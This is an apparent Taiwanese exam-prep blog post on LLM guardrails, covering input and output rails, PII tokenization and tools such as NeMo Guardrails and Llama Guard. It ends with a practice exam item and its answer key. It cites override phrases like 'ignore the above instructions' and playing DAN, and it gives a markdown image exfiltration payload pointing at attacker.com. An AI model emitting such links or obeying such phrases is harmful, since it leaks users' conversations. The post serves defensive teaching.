iT邦幫忙

2026 iThome 鐵人賽

DAY 17
0
AI Security

新手上路不當砲灰!30 天一章一章啃完 CompTIA SecAI+ 備考筆記系列 第 17

AI 外圍的安全防火牆:LLM Guardrails 護欄與 PII 遮蔽技術

  • 分享至 

  • xImage
  •  

大家好,前面已經聊完駭客是怎麼攻擊 AI,今天我們要換個角度,來看看防守方的神兵利器:護欄系統(LLM Guardrails)

像我們這種寫系統、做整合的人,最關鍵的直覺就是:「不要只指望 AI 本身,而是在 AI 外圍蓋一圈獨立的安全圍牆!
這圈圍牆就是護欄。不論駭客用什麼花招攻擊,只要他的提示詞被外圍的護欄攔截,就根本傳不到 AI 的耳朵裡。

這對我們正在準備 SecAI+ 證照、或者在實務上想保護系統的人來說,是絕對要弄懂的「外掛式防線」!


一、 什麼是 LLM Guardrails?

簡單來說,LLM 護欄就是獨立於大模型之外的安全控制層。
它就像是 AI 的「安全防火牆」,在我們不信任的外部世界與 AI 之間,畫一條信任邊界(Trust Boundary),站在門口檢查所有人說的話,分為輸入與輸出兩個守備關卡:

     使用者輸入 (不信任的外部輸入)
                 ↓
      [輸入護欄 Input Rails]   ← 擋下惡意攻擊、把個資(PII)發號碼牌
                 ↓
            LLM(大模型)
                 ↓
      [輸出護欄 Output Rails]  ← 檢查 AI 有沒有編造數據、洩漏個資、或格式壞掉
                 ↓
       呈現給使用者 (安全的回覆)

🔑 它的運作邏輯其實很直覺:

  • 不寫在 System Prompt 裡(Deterministic Control):它不依賴大模型自己的自律。因為提示詞容易被駭客用「越獄」或「提示注入」繞過,護欄則是部署在模型外部、以硬性規則(Regex)或獨立的分類小模型(例如 Llama Guard)構成的決定性攔截關卡。
  • 雙向主動防禦(Detect & Act):即時監控輸入(Input)與輸出(Output),一旦檢測到違反企業合規或安全政策的內容,便會立即採取行動(像是直接擋掉、打馬賽克、或者重新引導)。
  • 隨插即用(Loose Coupling):這種「外掛式」架構最對我們胃口的地方就在於:即使你哪天把底層的大模型換掉,這套保鏢系統完全不需要重做,可以直接套在新模型上。

二、 輸入護欄(Input Rails)的五大核心任務

在我最近讀書準備考試的過程中,我發現輸入護欄可不只是過濾髒話而已,在實務和考題裡,它主要會做這五件事:

1. 偵測惡意提示(Jailbreak/Injection Detection)

這在 OWASP LLM 威脅中高居第一。護欄會先用另一個超快的小模型(比如 Meta 出了名用來防守的 Llama Guard),去掃描使用者的輸入,如果發現裡面有「扮演 DAN、忽略以上指示」等關鍵字,試圖透過惡意文本「劫持」模型、繞過既有安全限制或強行獲取系統 Prompt 的意圖,就直接拒絕。

2. 個人識別資訊遮蔽與「對稱符記化」(PII Masking & Symmetric Tokenization) ★★ 考試超級重點

在實務上,我們最怕員工不小心把客戶個資(PII, Personally Identifiable Information)塞進外部的 AI 裡(比如送去外部 API 運算)。護欄可以在文字送進大模型前,自動對個資進行處理,這有兩種玩法:

  • 直接打馬賽克(Static Masking)
    • 原始輸入:「請幫我看看客戶陳大明(身分證字號 F123456789)的合約。」
    • 護欄過濾後:「請幫我看看客戶 [姓名已遮蔽](身分證字號 [ID已遮蔽])的合約。」
  • 高階玩法:發號碼牌(Symmetric Tokenization / Pseudonymization)
    如果只是粗暴地打馬賽克,AI 在看複雜合約時會傻掉,因為它不知道第一個遮蔽的人跟第二個遮蔽的人是不是同一個。所以現在聰明的護欄會給個資發「臨時號碼牌(Token)」:
    • 護欄加密:「請幫我看看客戶 [PERSON_1](身分證字號 [ID_1])的合約。」
    • 這樣安全地發給外部 AI 去算,AI 算完後吐出:「[PERSON_1] 的合約條款沒有問題。」
    • 輸出護欄在把回答交給使用者前,再默默透過暫存對照表把 [PERSON_1] 換回「陳大明」。
    • **這樣外部 AI 幫我們打完工,卻一輩子都不知道真正的陳大明是誰!**這招在 SecAI+ 考試裡是落實「隱私設計(Privacy by Design)」的經典大招,一定要記下來!
[原始輸入] ──(輸入護欄:發號碼牌 Token)──> [去識別化文字] ──> [LLM 幫忙算]
                                                                  │
[還原陳大明] <──(輸出護欄:收回號碼牌)── [AI吐出PERSON_1] <─────┘

3. 限制對談主題(Topical Rails)

進行意圖分類(Intent Classification)與主題過濾,確保使用者提問與系統業務範圍相符,避免 LLM 被利用於回答無關或敏感話題(如政治、宗教等)。如果你家的 AI 是「銀行客服助理」,護欄一看到使用者問:「哪裡可以買到便宜的虛擬貨幣?」就會直接擋掉,不讓 AI 去聊無關的話題,避免講錯話。

4. 內容合規與毒性過濾 (Content Moderation & Toxicity Filtering)

檢測並過濾包含粗言穢語、仇恨言論、暴力、色情或違法行為等不當內容,實施「輸入清洗(Input Sanitization)」,確保輸入端乾淨合規,避免模型在有害脈絡下被誘導講出不該講的話。

5. 輸入清理與二次注入防範(Input Sanitization & Secondary Injection Prevention)

如果你的 AI 有連接資料庫(SQL)或用 RAG 讀取本機檔案,駭客可能會在問題裡夾帶「惡意程式碼」。輸入護欄必須對這些輸入進行過濾,防止這些程式碼穿過 AI,對你後台的資料庫或系統造成二次傷害(也就是防止 SQL 注入或網頁 XSS 攻擊)。這就像我們以前寫 Web 系統時,所有使用者輸入都要做過濾一樣!


三、 輸出護欄(Output Rails)的五大核心任務

在 AI 說完話、要把回答傳回給使用者前,輸出護欄會進行最後的安檢:

1. 有害內容過濾(Toxicity Filtering)

如果 AI 被人成功越獄了,講出了一些違法的言論,輸出護欄會直接把回答攔截下來,並回覆「抱歉,我無法提供此回答」。

2. 幻覺與事實查核(Grounding / Hallucination Detection)

檢查 AI 的回答是不是在胡說八道。在我們企業內部的知識庫(RAG)應用中,輸出護欄會去對照我們給 AI 的參考資料,確認 AI 有沒有自己憑空編造不實數據,確保回答的「事實依據性(Grounding)」。

3. 防止個資外洩與「還原號碼牌」(DLP & Detokenization)

再次檢查 AI 的回答裡有沒有不小心吐出資料庫裡的個資,防止「模型反轉攻擊」讓個資流出去。同時,如果輸入端有「發號碼牌」,輸出護欄要在這個階段把 [PERSON_1] 還原回「陳大明」,讓使用者看得很順暢。

4. 格式與結構化驗證(Schema Validation)

像我們寫後端開發這麼多年,最怕的就是 API 吐出來的 JSON 格式壞掉,少了一個括號 } 什麼的,後台一 parsing 就直接噴 Error 崩潰。輸出護欄會負責檢查格式,如果發現少個括號,它會自己幫忙補上(自動校正),或者叫 AI 趕快重寫一遍(自動重試),保證後台系統不會 Crash!

5. 防範 Markdown 注入與通道外洩(Markdown Injection & Data Exfiltration)

這是一個很賊的間接提示注入攻擊。如果駭客在網頁裡藏了一行惡意指示,誘使 AI 在回答中顯示一個隱藏的圖片連結,像是:
![leak](https://attacker.com/pic?data=[對話紀錄])
當使用者的瀏覽器渲染出這張「隱形圖片」時,使用者的對話紀錄就神不知鬼不覺地傳給駭客了!輸出護欄會主動掃描並過濾掉這種惡意連結,切斷這條偷個資的小通道。


四、 業界四大神兵框架與工具

在讀 SecAI+ 考綱和實務資料時,有這四個護欄框架與工具最常被提到:

1. NVIDIA NeMo Guardrails(★ 考試超級大熱門)

這是目前開源界最熱門的框架。它的特色是使用一種叫做 Colang 的專屬語言,寫起來就像在寫劇本,直接定義 AI 能講什麼、不能講什麼。
NeMo 主要定義了三種核心護欄:

  • Topical Rails:限制話題範圍(對話流控制)。
  • Safety Rails:防止有害對話。
  • Security Rails:防禦提示詞注入。

2. Meta Llama Guard 系列

基於 LLaMA 訓練出來的專屬防禦小模型,專門用來當看門保鏢。它依據安全社群守則(將有害言論、隱私等分為 11 大類),能速度極快地判定輸入和輸出有沒有違規。因為可以部署在我們本機,速度極快、延遲低。

3. Microsoft Presidio(實務隱私防護神器)

微軟開源的 PII 遮蔽框架。我們以前寫系統,要自己寫 Regex 去抓身分證、信用卡真的很痛苦。Presidio 結合了機器學習,可以自動辨識多國個資,還自帶超強的「對稱符記化」功能,能自動發號碼牌跟收回號碼牌,是想落實「隱私設計(Privacy by Design)」的頂級工具。

4. Guardrails AI(Python 生態明星)

一個基於 Python 的開源護欄套件,最擅長透過 Pydantic 來對 LLM 的輸出進行 JSON 格式驗證。格式不對就自動重試或修復,特別適合用來防範系統崩潰。


五、 護欄的致命傷:千日防賊的架構反思

看到這裡,你可能會想:「只要把護欄蓋好蓋滿,AI 就安全了吧?」
但像我們寫系統這麼多年,資安原則永遠是:「只有千日做賊,哪有千日防賊」。過度依賴 Guardrails 其實有幾個很累人的致命傷:

  1. 無止盡的貓鼠遊戲
    駭客每天都在發明新的越獄和注入手法(比如把字串 Base64 編碼,或是拆成幾個段落發送)。我們只能像補破網一樣,每天在護欄裡狂加過濾規則,永遠處於被動。
  2. 嚴重拖垮系統效能(Latency)
    每次使用者問一個問題,都要先過一層輸入小模型、再進核心大模型、出來還要再過一層輸出小模型。這會讓系統的 API 回應時間(延遲)大幅增加,使用者體驗變得很差。
  3. 高誤殺率(False Positives)
    為了防賊,把護欄規則設得太嚴格。結果連使用者問一句「幫我查一下伺服器為什麼一直 Crash」,護欄都以為他在搞破壞,直接攔截。這會讓 AI 變得「智障又難用」。

這也就是為什麼,在 SecAI+ 的觀念裡,Guardrails 絕對不能是唯一的防禦。它只能當作「縱深防禦(Defense in Depth)」的其中一道牆,我們還必須搭配明天要學的「對抗性訓練」,從根本上讓大模型自己的腦袋變聰明、變強壯。


🔑 SecAI+ 證照模擬題解析

Q: 一家金融機構正在導入 LLM 助理。為防止員工無意間將客戶的個人識別資訊(PII)發送給第三方 AI 服務,團隊應該在將使用者提示發送給大模型之前,採用哪種最有效的技術控制措施?

A. 實施 PII 遮蔽(PII Masking / Anonymization)
B. 限制 API 的速率
C. 對模型進行後門掃描
D. 使用模型浮水印

【正確答案】A

【解析】

  • 抓解題關鍵字防止 PII 發送給第三方在發送給大模型之前。這兩個線索很明確,就是要在不信任的外部 API 之前,把個資過濾掉,這完全是**輸入護欄(Input Rails)的 PII 遮蔽(Masking)**功能。
  • 選項 B 速率限制(Rate Limiting)是用來防範 DDoS 暴力攻擊或 API 被刷爆的,跟隱私防護無關。
  • 選項 C 後門掃描是在開發或部署前,對模型的安全進行權重審計,與即時傳輸中的 PII 防護無關。
  • 選項 D 浮水印(Watermarking)是應用在輸出端,用來追蹤 AI 產生的內容是誰寫的,屬於事後追溯,這時候個資早就洩漏給第三方了,來不及。
  • 所以,這題最完美的技術措施就是 A 啦!

🎯 今日學習筆記重點

  • LLM Guardrails:在 AI 外部獨立運作的安全控制層,分為輸入和輸出兩道關卡,是「隨插即用」的外掛保鏢。
  • 輸入護欄五大任務:偵測惡意提示、PII 發號碼牌/遮蔽、主題限制、內容毒性過濾、以及輸入清理(防止對 RAG/SQL 的二次注入)。
  • 輸出護欄五大任務:有害內容過濾、事實依據性(Grounding)偵測、敏感資料防外洩(還原號碼牌)、JSON 格式結構化驗證、以及 Markdown 注入外洩防範。
  • 業界四大神兵NVIDIA NeMo(Colang 語言)、Meta Llama Guard(安全分類小模型)、Microsoft Presidio(隱私發號碼牌神器)與 Guardrails AI(JSON 格式糾錯大師)。
  • 架構思考:護欄雖然好用,但會帶來延遲高(Latency)、**誤殺多(False Positives)**等副作用,必須搭配底層模型硬化,落實縱深防禦。

明天我們要看模型本身的修煉:對抗性訓練與差分隱私。看看我們如何從根本上,訓練出一隻「金剛不壞」的強壯模型。
我們明天見啦!


上一篇
AI 說壞話的藝術:DAN 與 Many-shot 越獄攻防戰
下一篇
修煉金剛不壞之身:對抗性訓練與差分隱私
系列文
新手上路不當砲灰!30 天一章一章啃完 CompTIA SecAI+ 備考筆記22
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言